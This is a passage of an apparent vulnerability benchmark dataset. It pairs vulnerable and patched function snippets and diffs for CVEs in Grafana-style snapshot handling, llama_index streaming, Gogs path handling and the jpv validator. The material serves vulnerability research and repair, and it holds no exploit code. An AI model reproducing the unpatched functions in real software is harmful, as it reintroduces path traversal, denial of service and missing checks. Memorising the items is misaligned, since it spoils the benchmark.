"pkg/api/dashboard_snapshot.go", "start_line": 147, "end_line": 181, "snippet": "func GetDashboardSnapshot(c *models.ReqContext) response.Response {\n\tkey := c.Params(\":key\")\n\tquery := &models.GetDashboardSnapshotQuery{Key: key}\n\n\terr := bus.Dispatch(query)\n\tif err != nil {\n\t\treturn response.Error(500, \"Failed to get dashboard snapshot\", err)\n\t}\n\n\tsnapshot := query.Result\n\n\t// expired snapshots should also be removed from db\n\tif snapshot.Expires.Before(time.Now()) {\n\t\treturn response.Error(404, \"Dashboard snapshot not found\", err)\n\t}\n\n\tdashboard, err := snapshot.DashboardJSON()\n\tif err != nil {\n\t\treturn response.Error(500, \"Failed to get dashboard data for dashboard snapshot\", err)\n\t}\n\n\tdto := dtos.DashboardFullWithMeta{\n\t\tDashboard: dashboard,\n\t\tMeta: dtos.DashboardMeta{\n\t\t\tType:       models.DashTypeSnapshot,\n\t\t\tIsSnapshot: true,\n\t\t\tCreated:    snapshot.Created,\n\t\t\tExpires:    snapshot.Expires,\n\t\t},\n\t}\n\n\tmetrics.MApiDashboardSnapshotGet.Inc()\n\n\treturn response.JSON(200, dto).SetHeader(\"Cache-Control\", \"public, max-age=3600\")\n}"}, {"id": "vul_go_138_2", "commit": "c725a42", "file_path": "pkg/api/dashboard_snapshot.go", "start_line": 216, "end_line": 243, "snippet": "func DeleteDashboardSnapshotByDeleteKey(c *models.ReqContext) response.Response {\n\tkey := c.Params(\":deleteKey\")\n\n\tquery := &models.GetDashboardSnapshotQuery{DeleteKey: key}\n\n\terr := bus.Dispatch(query)\n\tif err != nil {\n\t\treturn response.Error(500, \"Failed to get dashboard snapshot\", err)\n\t}\n\n\tif query.Result.External {\n\t\terr := deleteExternalDashboardSnapshot(query.Result.ExternalDeleteUrl)\n\t\tif err != nil {\n\t\t\treturn response.Error(500, \"Failed to delete external dashboard\", err)\n\t\t}\n\t}\n\n\tcmd := &models.DeleteDashboardSnapshotCommand{DeleteKey: query.Result.DeleteKey}\n\n\tif err := bus.Dispatch(cmd); err != nil {\n\t\treturn response.Error(500, \"Failed to delete dashboard snapshot\", err)\n\t}\n\n\treturn response.JSON(200, util.DynMap{\n\t\t\"message\": \"Snapshot deleted. It might take an hour before it's cleared from any CDN caches.\",\n\t\t\"id\":      query.Result.Id,\n\t})\n}"}, {"id": "vul_go_138_3", "commit": "c725a42", "file_path": "pkg/api/dashboard_snapshot.go", "start_line": 246, "end_line": 292, "snippet": "func DeleteDashboardSnapshot(c *models.ReqContext) response.Response {\n\tkey := c.Params(\":key\")\n\n\tquery := &models.GetDashboardSnapshotQuery{Key: key}\n\n\terr := bus.Dispatch(query)\n\tif err != nil {\n\t\treturn response.Error(500, \"Failed to get dashboard snapshot\", err)\n\t}\n\tif query.Result == nil {\n\t\treturn response.Error(404, \"Failed to get dashboard snapshot\", nil)\n\t}\n\n\tdashboard, err := query.Result.DashboardJSON()\n\tif err != nil {\n\t\treturn response.Error(500, \"Failed to get dashboard data for dashboard snapshot\", err)\n\t}\n\tdashboardID := dashboard.Get(\"id\").MustInt64()\n\n\tguardian := guardian.New(dashboardID, c.OrgId, c.SignedInUser)\n\tcanEdit, err := guardian.CanEdit()\n\tif err != nil {\n\t\treturn response.Error(500, \"Error while checking permissions for snapshot\", err)\n\t}\n\n\tif !canEdit && query.Result.UserId != c.SignedInUser.UserId {\n\t\treturn response.Error(403, \"Access denied to this snapshot\", nil)\n\t}\n\n\tif query.Result.External {\n\t\terr := deleteExternalDashboardSnapshot(query.Result.ExternalDeleteUrl)\n\t\tif err != nil {\n\t\t\treturn response.Error(500, \"Failed to delete external dashboard\", err)\n\t\t}\n\t}\n\n\tcmd := &models.DeleteDashboardSnapshotCommand{DeleteKey: query.Result.DeleteKey}\n\n\tif err := bus.Dispatch(cmd); err != nil {\n\t\treturn response.Error(500, \"Failed to delete dashboard snapshot\", err)\n\t}\n\n\treturn response.JSON(200, util.DynMap{\n\t\t\"message\": \"Snapshot deleted. It might take an hour before it's cleared from any CDN caches.\",\n\t\t\"id\":      query.Result.Id,\n\t})\n}"}, {"id": "vul_go_138_4", "commit": "c725a42", "file_path": "pkg/macaron/router.go", "start_line": 289, "end_line": 309, "snippet": "func (r *Router) ServeHTTP(rw http.ResponseWriter, req *http.Request) {\n\tif t, ok := r.routers[req.Method]; ok {\n\t\t// Fast match for static routes\n\t\tleaf := r.getLeaf(req.Method, req.URL.Path)\n\t\tif leaf != nil {\n\t\t\tleaf.handle(rw, req, nil)\n\t\t\treturn\n\t\t}\n\n\t\th, p, ok := t.Match(req.URL.EscapedPath())\n\t\tif ok {\n\t\t\tif splat, ok := p[\"*0\"]; ok {\n\t\t\t\tp[\"*\"] = splat // Easy name.\n\t\t\t}\n\t\t\th(rw, req, p)\n\t\t\treturn\n\t\t}\n\t}\n\n\tr.notFound(rw, req)\n}"}], "fix_func": [{"id": "fix_go_138_1", "commit": "2d456a6", "file_path": "pkg/api/dashboard_snapshot.go", "start_line": 147, "end_line": 184, "snippet": "func GetDashboardSnapshot(c *models.ReqContext) response.Response {\n\tkey := c.Params(\":key\")\n\tif len(key) == 0 {\n\t\treturn response.Error(404, \"Snapshot not found\", nil)\n\t}\n\tquery := &models.GetDashboardSnapshotQuery{Key: key}\n\n\terr := bus.Dispatch(query)\n\tif err != nil {\n\t\treturn response.Error(500, \"Failed to get dashboard snapshot\", err)\n\t}\n\n\tsnapshot := query.Result\n\n\t// expired snapshots should also be removed from db\n\tif snapshot.Expires.Before(time.Now()) {\n\t\treturn response.Error(404, \"Dashboard snapshot not found\", err)\n\t}\n\n\tdashboard, err := snapshot.DashboardJSON()\n\tif err != nil {\n\t\treturn response.Error(500, \"Failed to get dashboard data for dashboard snapshot\", err)\n\t}\n\n\tdto := dtos.DashboardFullWithMeta{\n\t\tDashboard: dashboard,\n\t\tMeta: dtos.DashboardMeta{\n\t\t\tType:       models.DashTypeSnapshot,\n\t\t\tIsSnapshot: true,\n\t\t\tCreated:    snapshot.Created,\n\t\t\tExpires:    snapshot.Expires,\n\t\t},\n\t}\n\n\tmetrics.MApiDashboardSnapshotGet.Inc()\n\n\treturn response.JSON(200, dto).SetHeader(\"Cache-Control\", \"public, max-age=3600\")\n}"}, {"id": "fix_go_138_2", "commit": "2d456a6", "file_path": "pkg/api/dashboard_snapshot.go", "start_line": 219, "end_line": 249, "snippet": "func DeleteDashboardSnapshotByDeleteKey(c *models.ReqContext) response.Response {\n\tkey := c.Params(\":deleteKey\")\n\tif len(key) == 0 {\n\t\treturn response.Error(404, \"Snapshot not found\", nil)\n\t}\n\n\tquery := &models.GetDashboardSnapshotQuery{DeleteKey: key}\n\n\terr := bus.Dispatch(query)\n\tif err != nil {\n\t\treturn response.Error(500, \"Failed to get dashboard snapshot\", err)\n\t}\n\n\tif query.Result.External {\n\t\terr := deleteExternalDashboardSnapshot(query.Result.ExternalDeleteUrl)\n\t\tif err != nil {\n\t\t\treturn response.Error(500, \"Failed to delete external dashboard\", err)\n\t\t}\n\t}\n\n\tcmd := &models.DeleteDashboardSnapshotCommand{DeleteKey: query.Result.DeleteKey}\n\n\tif err := bus.Dispatch(cmd); err != nil {\n\t\treturn response.Error(500, \"Failed to delete dashboard snapshot\", err)\n\t}\n\n\treturn response.JSON(200, util.DynMap{\n\t\t\"message\": \"Snapshot deleted. It might take an hour before it's cleared from any CDN caches.\",\n\t\t\"id\":      query.Result.Id,\n\t})\n}"}, {"id": "fix_go_138_3", "commit": "2d456a6", "file_path": "pkg/api/dashboard_snapshot.go", "start_line": 252, "end_line": 301, "snippet": "func DeleteDashboardSnapshot(c *models.ReqContext) response.Response {\n\tkey := c.Params(\":key\")\n\tif len(key) == 0 {\n\t\treturn response.Error(404, \"Snapshot not found\", nil)\n\t}\n\n\tquery := &models.GetDashboardSnapshotQuery{Key: key}\n\n\terr := bus.Dispatch(query)\n\tif err != nil {\n\t\treturn response.Error(500, \"Failed to get dashboard snapshot\", err)\n\t}\n\tif query.Result == nil {\n\t\treturn response.Error(404, \"Failed to get dashboard snapshot\", nil)\n\t}\n\n\tdashboard, err := query.Result.DashboardJSON()\n\tif err != nil {\n\t\treturn response.Error(500, \"Failed to get dashboard data for dashboard snapshot\", err)\n\t}\n\tdashboardID := dashboard.Get(\"id\").MustInt64()\n\n\tguardian := guardian.New(dashboardID, c.OrgId, c.SignedInUser)\n\tcanEdit, err := guardian.CanEdit()\n\tif err != nil {\n\t\treturn response.Error(500, \"Error while checking permissions for snapshot\", err)\n\t}\n\n\tif !canEdit && query.Result.UserId != c.SignedInUser.UserId {\n\t\treturn response.Error(403, \"Access denied to this snapshot\", nil)\n\t}\n\n\tif query.Result.External {\n\t\terr := deleteExternalDashboardSnapshot(query.Result.ExternalDeleteUrl)\n\t\tif err != nil {\n\t\t\treturn response.Error(500, \"Failed to delete external dashboard\", err)\n\t\t}\n\t}\n\n\tcmd := &models.DeleteDashboardSnapshotCommand{DeleteKey: query.Result.DeleteKey}\n\n\tif err := bus.Dispatch(cmd); err != nil {\n\t\treturn response.Error(500, \"Failed to delete dashboard snapshot\", err)\n\t}\n\n\treturn response.JSON(200, util.DynMap{\n\t\t\"message\": \"Snapshot deleted. It might take an hour before it's cleared from any CDN caches.\",\n\t\t\"id\":      query.Result.Id,\n\t})\n}"}, {"id": "fix_go_138_4", "commit": "2d456a6", "file_path": "pkg/macaron/router.go", "start_line": 289, "end_line": 311, "snippet": "func (r *Router) ServeHTTP(rw http.ResponseWriter, req *http.Request) {\n\tif t, ok := r.routers[req.Method]; ok {\n\t\t// Fast match for static routes\n\t\tif !strings.ContainsAny(req.URL.Path, \":*\") {\n\t\t\tleaf := r.getLeaf(req.Method, req.URL.Path)\n\t\t\tif leaf != nil {\n\t\t\t\tleaf.handle(rw, req, nil)\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\n\t\th, p, ok := t.Match(req.URL.EscapedPath())\n\t\tif ok {\n\t\t\tif splat, ok := p[\"*0\"]; ok {\n\t\t\t\tp[\"*\"] = splat // Easy name.\n\t\t\t}\n\t\t\th(rw, req, p)\n\t\t\treturn\n\t\t}\n\t}\n\n\tr.notFound(rw, req)\n}"}], "vul_patch": "--- a/pkg/api/dashboard_snapshot.go\n+++ b/pkg/api/dashboard_snapshot.go\n@@ -1,5 +1,8 @@\n func GetDashboardSnapshot(c *models.ReqContext) response.Response {\n \tkey := c.Params(\":key\")\n+\tif len(key) == 0 {\n+\t\treturn response.Error(404, \"Snapshot not found\", nil)\n+\t}\n \tquery := &models.GetDashboardSnapshotQuery{Key: key}\n \n \terr := bus.Dispatch(query)\n\n--- a/pkg/api/dashboard_snapshot.go\n+++ b/pkg/api/dashboard_snapshot.go\n@@ -1,5 +1,8 @@\n func DeleteDashboardSnapshotByDeleteKey(c *models.ReqContext) response.Response {\n \tkey := c.Params(\":deleteKey\")\n+\tif len(key) == 0 {\n+\t\treturn response.Error(404, \"Snapshot not found\", nil)\n+\t}\n \n \tquery := &models.GetDashboardSnapshotQuery{DeleteKey: key}\n \n\n--- a/pkg/api/dashboard_snapshot.go\n+++ b/pkg/api/dashboard_snapshot.go\n@@ -1,5 +1,8 @@\n func DeleteDashboardSnapshot(c *models.ReqContext) response.Response {\n \tkey := c.Params(\":key\")\n+\tif len(key) == 0 {\n+\t\treturn response.Error(404, \"Snapshot not found\", nil)\n+\t}\n \n \tquery := &models.GetDashboardSnapshotQuery{Key: key}\n \n\n--- a/pkg/macaron/router.go\n+++ b/pkg/macaron/router.go\n@@ -1,10 +1,12 @@\n func (r *Router) ServeHTTP(rw http.ResponseWriter, req *http.Request) {\n \tif t, ok := r.routers[req.Method]; ok {\n \t\t// Fast match for static routes\n-\t\tleaf := r.getLeaf(req.Method, req.URL.Path)\n-\t\tif leaf != nil {\n-\t\t\tleaf.handle(rw, req, nil)\n-\t\t\treturn\n+\t\tif !strings.ContainsAny(req.URL.Path, \":*\") {\n+\t\t\tleaf := r.getLeaf(req.Method, req.URL.Path)\n+\t\t\tif leaf != nil {\n+\t\t\t\tleaf.handle(rw, req, nil)\n+\t\t\t\treturn\n+\t\t\t}\n \t\t}\n \n \t\th, p, ok := t.Match(req.URL.EscapedPath())\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-12704", "cve_description": "A vulnerability in the LangChainLLM class of the run-llama/llama_index repository, version v0.12.5, allows for a Denial of Service (DoS) attack. The stream_complete method executes the llm using a thread and retrieves the result via the get_response_gen method of the StreamingGeneratorCallbackHandler class. If the thread terminates abnormally before the _llm.predict is executed, there is no exception handling for this case, leading to an infinite loop in the get_response_gen function. This can be triggered by providing an input of an incorrect type, causing the thread to terminate and the process to continue running indefinitely.", "cwe_info": {"CWE-755": {"name": "Improper Handling of Exceptional Conditions", "description": "The product does not handle or incorrectly handles an exceptional condition."}}, "repo": "https://github.com/run-llama/llama_index", "patch_url": ["https://github.com/run-llama/llama_index/commit/d1ecfb77578d089cbe66728f18f635c09aa32a05"], "programing_language": "Python", "vul_func": [{"id": "vul_py_431_1", "commit": "98fd497", "file_path": "llama-index-core/llama_index/core/langchain_helpers/streaming.py", "start_line": 38, "end_line": 44, "snippet": "    def get_response_gen(self) -> Generator:\n        while True:\n            if not self._token_queue.empty():\n                token = self._token_queue.get_nowait()\n                yield token\n            elif self._done.is_set():\n                break"}], "fix_func": [{"id": "fix_py_431_1", "commit": "d1ecfb77578d089cbe66728f18f635c09aa32a05", "file_path": "llama-index-core/llama_index/core/langchain_helpers/streaming.py", "start_line": 39, "end_line": 60, "snippet": "    def get_response_gen(self, timeout: float = 120.0) -> Generator:\n        \"\"\"Get response generator with timeout.\n\n        Args:\n            timeout (float): Maximum time in seconds to wait for the complete response.\n                            Defaults to 120 seconds.\n        \"\"\"\n        start_time = time.time()\n        while True:\n            if time.time() - start_time > timeout:\n                raise TimeoutError(\n                    f\"Response generation timed out after {timeout} seconds\"\n                )\n\n            if not self._token_queue.empty():\n                token = self._token_queue.get_nowait()\n                yield token\n            elif self._done.is_set():\n                break\n            else:\n                # Small sleep to prevent CPU spinning\n                time.sleep(0.01)"}], "vul_patch": "--- a/llama-index-core/llama_index/core/langchain_helpers/streaming.py\n+++ b/llama-index-core/llama_index/core/langchain_helpers/streaming.py\n@@ -1,7 +1,22 @@\n-    def get_response_gen(self) -> Generator:\n+    def get_response_gen(self, timeout: float = 120.0) -> Generator:\n+        \"\"\"Get response generator with timeout.\n+\n+        Args:\n+            timeout (float): Maximum time in seconds to wait for the complete response.\n+                            Defaults to 120 seconds.\n+        \"\"\"\n+        start_time = time.time()\n         while True:\n+            if time.time() - start_time > timeout:\n+                raise TimeoutError(\n+                    f\"Response generation timed out after {timeout} seconds\"\n+                )\n+\n             if not self._token_queue.empty():\n                 token = self._token_queue.get_nowait()\n                 yield token\n             elif self._done.is_set():\n                 break\n+            else:\n+                # Small sleep to prevent CPU spinning\n+                time.sleep(0.01)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-55947", "cve_description": "Gogs is an open source self-hosted Git service. A malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server. The vulnerability is fixed in 0.13.1.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/gogs/gogs", "patch_url": ["https://github.com/gogs/gogs/commit/9a9388ace25bd646f5098cb9193d983332c34e41"], "programing_language": "Go", "vul_func": [{"id": "vul_go_93_1", "commit": "8a3b819", "file_path": "internal/route/api/v1/repo/contents.go", "start_line": "104", "end_line": "171", "snippet": "func GetContents(c *context.APIContext) {\n\trepoPath := repoutil.RepositoryPath(c.Params(\":username\"), c.Params(\":reponame\"))\n\tgitRepo, err := git.Open(repoPath)\n\tif err != nil {\n\t\tc.Error(err, \"open repository\")\n\t\treturn\n\t}\n\n\tref := c.Query(\"ref\")\n\tif ref == \"\" {\n\t\tref = c.Repo.Repository.DefaultBranch\n\t}\n\n\tcommit, err := gitRepo.CatFileCommit(ref)\n\tif err != nil {\n\t\tc.NotFoundOrError(gitutil.NewError(err), \"get commit\")\n\t\treturn\n\t}\n\n\ttreePath := c.Params(\"*\")\n\tentry, err := commit.TreeEntry(treePath)\n\tif err != nil {\n\t\tc.NotFoundOrError(gitutil.NewError(err), \"get tree entry\")\n\t\treturn\n\t}\n\n\tif !entry.IsTree() {\n\t\tcontent, err := toRepoContent(c, ref, treePath, commit, entry)\n\t\tif err != nil {\n\t\t\tc.Errorf(err, \"convert %q to repoContent\", treePath)\n\t\t\treturn\n\t\t}\n\n\t\tc.JSONSuccess(content)\n\t\treturn\n\t}\n\n\t// The entry is a directory\n\tdir, err := gitRepo.LsTree(entry.ID().String())\n\tif err != nil {\n\t\tc.NotFoundOrError(gitutil.NewError(err), \"get tree\")\n\t\treturn\n\t}\n\n\tentries, err := dir.Entries()\n\tif err != nil {\n\t\tc.NotFoundOrError(gitutil.NewError(err), \"list entries\")\n\t\treturn\n\t}\n\n\tif len(entries) == 0 {\n\t\tc.JSONSuccess([]string{})\n\t\treturn\n\t}\n\n\tcontents := make([]*repoContent, 0, len(entries))\n\tfor _, entry := range entries {\n\t\tsubpath := path.Join(treePath, entry.Name())\n\t\tcontent, err := toRepoContent(c, ref, subpath, commit, entry)\n\t\tif err != nil {\n\t\t\tc.Errorf(err, \"convert %q to repoContent\", subpath)\n\t\t\treturn\n\t\t}\n\n\t\tcontents = append(contents, content)\n\t}\n\tc.JSONSuccess(contents)\n}"}, {"id": "vul_go_93_2", "commit": "8a3b819", "file_path": "internal/route/api/v1/repo/contents.go", "start_line": "181", "end_line": "246", "snippet": "func PutContents(c *context.APIContext, r PutContentsRequest) {\n\tcontent, err := base64.StdEncoding.DecodeString(r.Content)\n\tif err != nil {\n\t\tc.Error(err, \"decoding base64\")\n\t\treturn\n\t}\n\n\tif r.Branch == \"\" {\n\t\tr.Branch = c.Repo.Repository.DefaultBranch\n\t}\n\ttreePath := c.Params(\"*\")\n\terr = c.Repo.Repository.UpdateRepoFile(\n\t\tc.User,\n\t\tdatabase.UpdateRepoFileOptions{\n\t\t\tOldBranch:   c.Repo.Repository.DefaultBranch,\n\t\t\tNewBranch:   r.Branch,\n\t\t\tOldTreeName: treePath,\n\t\t\tNewTreeName: treePath,\n\t\t\tMessage:     r.Message,\n\t\t\tContent:     string(content),\n\t\t},\n\t)\n\tif err != nil {\n\t\tc.Error(err, \"updating repository file\")\n\t\treturn\n\t}\n\n\trepoPath := repoutil.RepositoryPath(c.Params(\":username\"), c.Params(\":reponame\"))\n\tgitRepo, err := git.Open(repoPath)\n\tif err != nil {\n\t\tc.Error(err, \"open repository\")\n\t\treturn\n\t}\n\n\tcommit, err := gitRepo.CatFileCommit(r.Branch)\n\tif err != nil {\n\t\tc.Error(err, \"get file commit\")\n\t\treturn\n\t}\n\n\tentry, err := commit.TreeEntry(treePath)\n\tif err != nil {\n\t\tc.Error(err, \"get tree entry\")\n\t\treturn\n\t}\n\n\tapiContent, err := toRepoContent(c, r.Branch, treePath, commit, entry)\n\tif err != nil {\n\t\tc.Error(err, \"convert to *repoContent\")\n\t\treturn\n\t}\n\n\tapiCommit, err := gitCommitToAPICommit(commit, c)\n\tif err != nil {\n\t\tc.Error(err, \"convert to *api.Commit\")\n\t\treturn\n\t}\n\n\tc.JSON(\n\t\thttp.StatusCreated,\n\t\tmap[string]any{\n\t\t\t\"content\": apiContent,\n\t\t\t\"commit\":  apiCommit,\n\t\t},\n\t)\n}"}], "fix_func": [{"id": "fix_go_93_1", "commit": "9a9388a", "file_path": "internal/route/api/v1/repo/contents.go", "start_line": "105", "end_line": "173", "snippet": "func GetContents(c *context.APIContext) {\n\trepoPath := repoutil.RepositoryPath(c.Params(\":username\"), c.Params(\":reponame\"))\n\tgitRepo, err := git.Open(repoPath)\n\tif err != nil {\n\t\tc.Error(err, \"open repository\")\n\t\treturn\n\t}\n\n\tref := c.Query(\"ref\")\n\tif ref == \"\" {\n\t\tref = c.Repo.Repository.DefaultBranch\n\t}\n\n\tcommit, err := gitRepo.CatFileCommit(ref)\n\tif err != nil {\n\t\tc.NotFoundOrError(gitutil.NewError(err), \"get commit\")\n\t\treturn\n\t}\n\n\t// \\ud83d\\udea8 SECURITY: Prevent path traversal.\n\ttreePath := pathutil.Clean(c.Params(\"*\"))\n\tentry, err := commit.TreeEntry(treePath)\n\tif err != nil {\n\t\tc.NotFoundOrError(gitutil.NewError(err), \"get tree entry\")\n\t\treturn\n\t}\n\n\tif !entry.IsTree() {\n\t\tcontent, err := toRepoContent(c, ref, treePath, commit, entry)\n\t\tif err != nil {\n\t\t\tc.Errorf(err, \"convert %q to repoContent\", treePath)\n\t\t\treturn\n\t\t}\n\n\t\tc.JSONSuccess(content)\n\t\treturn\n\t}\n\n\t// The entry is a directory\n\tdir, err := gitRepo.LsTree(entry.ID().String())\n\tif err != nil {\n\t\tc.NotFoundOrError(gitutil.NewError(err), \"get tree\")\n\t\treturn\n\t}\n\n\tentries, err := dir.Entries()\n\tif err != nil {\n\t\tc.NotFoundOrError(gitutil.NewError(err), \"list entries\")\n\t\treturn\n\t}\n\n\tif len(entries) == 0 {\n\t\tc.JSONSuccess([]string{})\n\t\treturn\n\t}\n\n\tcontents := make([]*repoContent, 0, len(entries))\n\tfor _, entry := range entries {\n\t\tsubpath := path.Join(treePath, entry.Name())\n\t\tcontent, err := toRepoContent(c, ref, subpath, commit, entry)\n\t\tif err != nil {\n\t\t\tc.Errorf(err, \"convert %q to repoContent\", subpath)\n\t\t\treturn\n\t\t}\n\n\t\tcontents = append(contents, content)\n\t}\n\tc.JSONSuccess(contents)\n}"}, {"id": "fix_go_93_2", "commit": "9a9388a", "file_path": "internal/route/api/v1/repo/contents.go", "start_line": "183", "end_line": "251", "snippet": "func PutContents(c *context.APIContext, r PutContentsRequest) {\n\tcontent, err := base64.StdEncoding.DecodeString(r.Content)\n\tif err != nil {\n\t\tc.Error(err, \"decoding base64\")\n\t\treturn\n\t}\n\n\tif r.Branch == \"\" {\n\t\tr.Branch = c.Repo.Repository.DefaultBranch\n\t}\n\n\t// \\ud83d\\udea8 SECURITY: Prevent path traversal.\n\ttreePath := pathutil.Clean(c.Params(\"*\"))\n\n\terr = c.Repo.Repository.UpdateRepoFile(\n\t\tc.User,\n\t\tdatabase.UpdateRepoFileOptions{\n\t\t\tOldBranch:   c.Repo.Repository.DefaultBranch,\n\t\t\tNewBranch:   r.Branch,\n\t\t\tOldTreeName: treePath,\n\t\t\tNewTreeName: treePath,\n\t\t\tMessage:     r.Message,\n\t\t\tContent:     string(content),\n\t\t},\n\t)\n\tif err != nil {\n\t\tc.Error(err, \"updating repository file\")\n\t\treturn\n\t}\n\n\trepoPath := repoutil.RepositoryPath(c.Params(\":username\"), c.Params(\":reponame\"))\n\tgitRepo, err := git.Open(repoPath)\n\tif err != nil {\n\t\tc.Error(err, \"open repository\")\n\t\treturn\n\t}\n\n\tcommit, err := gitRepo.CatFileCommit(r.Branch)\n\tif err != nil {\n\t\tc.Error(err, \"get file commit\")\n\t\treturn\n\t}\n\n\tentry, err := commit.TreeEntry(treePath)\n\tif err != nil {\n\t\tc.Error(err, \"get tree entry\")\n\t\treturn\n\t}\n\n\tapiContent, err := toRepoContent(c, r.Branch, treePath, commit, entry)\n\tif err != nil {\n\t\tc.Error(err, \"convert to *repoContent\")\n\t\treturn\n\t}\n\n\tapiCommit, err := gitCommitToAPICommit(commit, c)\n\tif err != nil {\n\t\tc.Error(err, \"convert to *api.Commit\")\n\t\treturn\n\t}\n\n\tc.JSON(\n\t\thttp.StatusCreated,\n\t\tmap[string]any{\n\t\t\t\"content\": apiContent,\n\t\t\t\"commit\":  apiCommit,\n\t\t},\n\t)\n}"}], "vul_patch": "--- a/internal/route/api/v1/repo/contents.go\n+++ b/internal/route/api/v1/repo/contents.go\n@@ -17,7 +17,8 @@\n \t\treturn\n \t}\n \n-\ttreePath := c.Params(\"*\")\n+\t// \\ud83d\\udea8 SECURITY: Prevent path traversal.\n+\ttreePath := pathutil.Clean(c.Params(\"*\"))\n \tentry, err := commit.TreeEntry(treePath)\n \tif err != nil {\n \t\tc.NotFoundOrError(gitutil.NewError(err), \"get tree entry\")\n\n--- a/internal/route/api/v1/repo/contents.go\n+++ b/internal/route/api/v1/repo/contents.go\n@@ -8,7 +8,10 @@\n \tif r.Branch == \"\" {\n \t\tr.Branch = c.Repo.Repository.DefaultBranch\n \t}\n-\ttreePath := c.Params(\"*\")\n+\n+\t// \\ud83d\\udea8 SECURITY: Prevent path traversal.\n+\ttreePath := pathutil.Clean(c.Params(\"*\"))\n+\n \terr = c.Repo.Repository.UpdateRepoFile(\n \t\tc.User,\n \t\tdatabase.UpdateRepoFileOptions{\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-17479", "cve_description": "jpv (aka Json Pattern Validator) before 2.2.2 does not properly validate input, as demonstrated by a corrupted array.", "cwe_info": {"CWE-20": {"name": "Improper Input Validation", "description": "The product receives input or data, but it does\n        not validate or incorrectly validates that the input has the\n        properties that are required to process the data safely and\n        correctly."}}, "repo": "https://github.com/manvel-khnkoyan/jpv", "patch_url": ["https://github.com/manvel-khnkoyan/jpv/commit/e3eec1215caa8d5c560f5e88d0943422831927d6"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_71_1", "commit": "8a3cb77", "file_path": "index.js", "start_line": 116, "end_line": 285, "snippet": "const compare = (value, pattern, options) => {\n    /*\n    * Special for debugging\n    * */\n    const res = (result) => {\n        let val = '';\n        if (!pattern || ((typeof pattern !== 'object') && (typeof pattern !== 'string') && typeof pattern !== 'function')) {\n            val = String(pattern)\n        } else if (pattern.constructor === JpvObject) {\n            val = `operator \"${pattern.type}\": ${JSON.stringify(pattern.value)}`;\n        } else {\n            JSON.stringify(pattern)\n        }\n\n\n        if (typeof pattern === 'function') {\n            val = pattern.toString();\n        }\n        if (!result && options && options.debug) {\n            options.logger(`error - the value of: {${options.deepLog.join('.')}: ` +\n            `${String(value)}} not matched with: ${val}`);\n        }\n        return result;\n    };\n\n    // simple types pattern = number | boolean | symbol | bigint\n    if ((typeof pattern === 'number') || (typeof pattern === 'symbol') || (typeof pattern === 'boolean') ||\n        (typeof pattern === 'bigint') || (typeof pattern === 'undefined') || (pattern === null)) {\n        return res(pattern === value);\n    }\n\n    /*\n    * When pattern is regex\n    */\n    if (pattern instanceof RegExp) {\n        return res(String(value).match(pattern));\n    }\n\n    // String\n    if ((typeof pattern === 'string')) {\n        // Native Types\n        let nativeMatches = pattern.match(/^(!)?\\((.*)\\)(\\?)?$/i);\n        if (nativeMatches !== null) {\n            // eslint-disable-next-line valid-typeof\n            let match = (typeof value === nativeMatches[2]);\n\n            // ------------------------> Deprecated\n            // Negation ? Operator\n            if (typeof nativeMatches[3] !== 'undefined') {\n                depricated('neg');\n                if (value === null || typeof value === 'undefined' || value === '') {\n                    return true;\n                }\n            }\n            if (nativeMatches[1] === '!') {\n                depricated('neg');\n                return res(!match);\n            }\n            // <-------------------------\n\n            return res(match);\n        }\n\n        // Patterns\n        let logicalMatches = pattern.match(/^(!)?\\[(.*)\\](\\?)?$/i);\n        if (logicalMatches !== null) {\n            const valid = comparePattern(value, logicalMatches[2]);\n\n            // ------------------------> Deprecated\n            // ? Operator\n            if (typeof logicalMatches[3] !== 'undefined') {\n                depricated('neg');\n                if (value === null || typeof value === 'undefined' || value === '') {\n                    return true;\n                }\n            }\n            // ! Operator\n            if (typeof logicalMatches[1] !== 'undefined') {\n                depricated('neg');\n                return res(!valid);\n            }\n            // <-------------------------\n\n            return res(valid);\n        }\n\n        // ------------------------> Deprecated\n        // Functional Regex\n        let functionalRegexMatches = pattern.match(/^(?!=^|,)(!)?\\{\\/(.*)\\/([a-z]*)\\}(\\?)?$/i);\n        if (functionalRegexMatches !== null) {\n            depricated('tag');\n            let match = (String(value).match(new RegExp(functionalRegexMatches[2], functionalRegexMatches[3])) !== null);\n            // Negation ? Operator\n            if (typeof functionalRegexMatches[4] !== 'undefined') {\n                if (value === null || typeof value === 'undefined' || value === '') {\n                    return true;\n                }\n            }\n            return res(functionalRegexMatches[1] === '!' ? !match : match);\n        }\n\n        // Functional Fixed\n        let functionalFixedMatches = pattern.match(/^(!)?\\{(.*)\\}(\\?)?$/i);\n        if (functionalFixedMatches !== null) {\n            depricated('tag');\n            let match = (String(value) === String(functionalFixedMatches[2]));\n            // Negation ? Operator\n            if (typeof functionalFixedMatches[3] !== 'undefined') {\n                if (value === null || typeof value === 'undefined' || value === '') {\n                    return true;\n                }\n            }\n            return res(functionalFixedMatches[1] === '!' ? !match : match);\n        }\n        // <-------------------------\n\n        // Fixed String Comparition\n        return res(value === pattern);\n    }\n\n    // Constructor is JpvObject\n    if (typeof pattern === 'object' && pattern.constructor === JpvObject) {\n        if (pattern.type === 'not') {\n            return res(!compare(value, pattern.value, options));\n        }\n        if (pattern.type === 'and') {\n            for (let i = 0; i < pattern.value.length; i++) {\n                if (!compare(value, pattern.value[i])) {\n                    return res(false);\n                }\n            }\n            return true;\n        }\n        if (pattern.type === 'or') {\n            for (let i = 0; i < pattern.value.length; i++) {\n                if (compare(value, pattern.value[i])) {\n                    return true;\n                }\n            }\n            return res(false);\n        }\n        if (pattern.type === 'exact') {\n            return res(value === pattern.value);\n        }\n\n        if (pattern.type === 'typeOf') {\n            // eslint-disable-next-line valid-typeof\n            return res(typeof value === pattern.value);\n        }\n\n        if (pattern.type === 'is') {\n            return 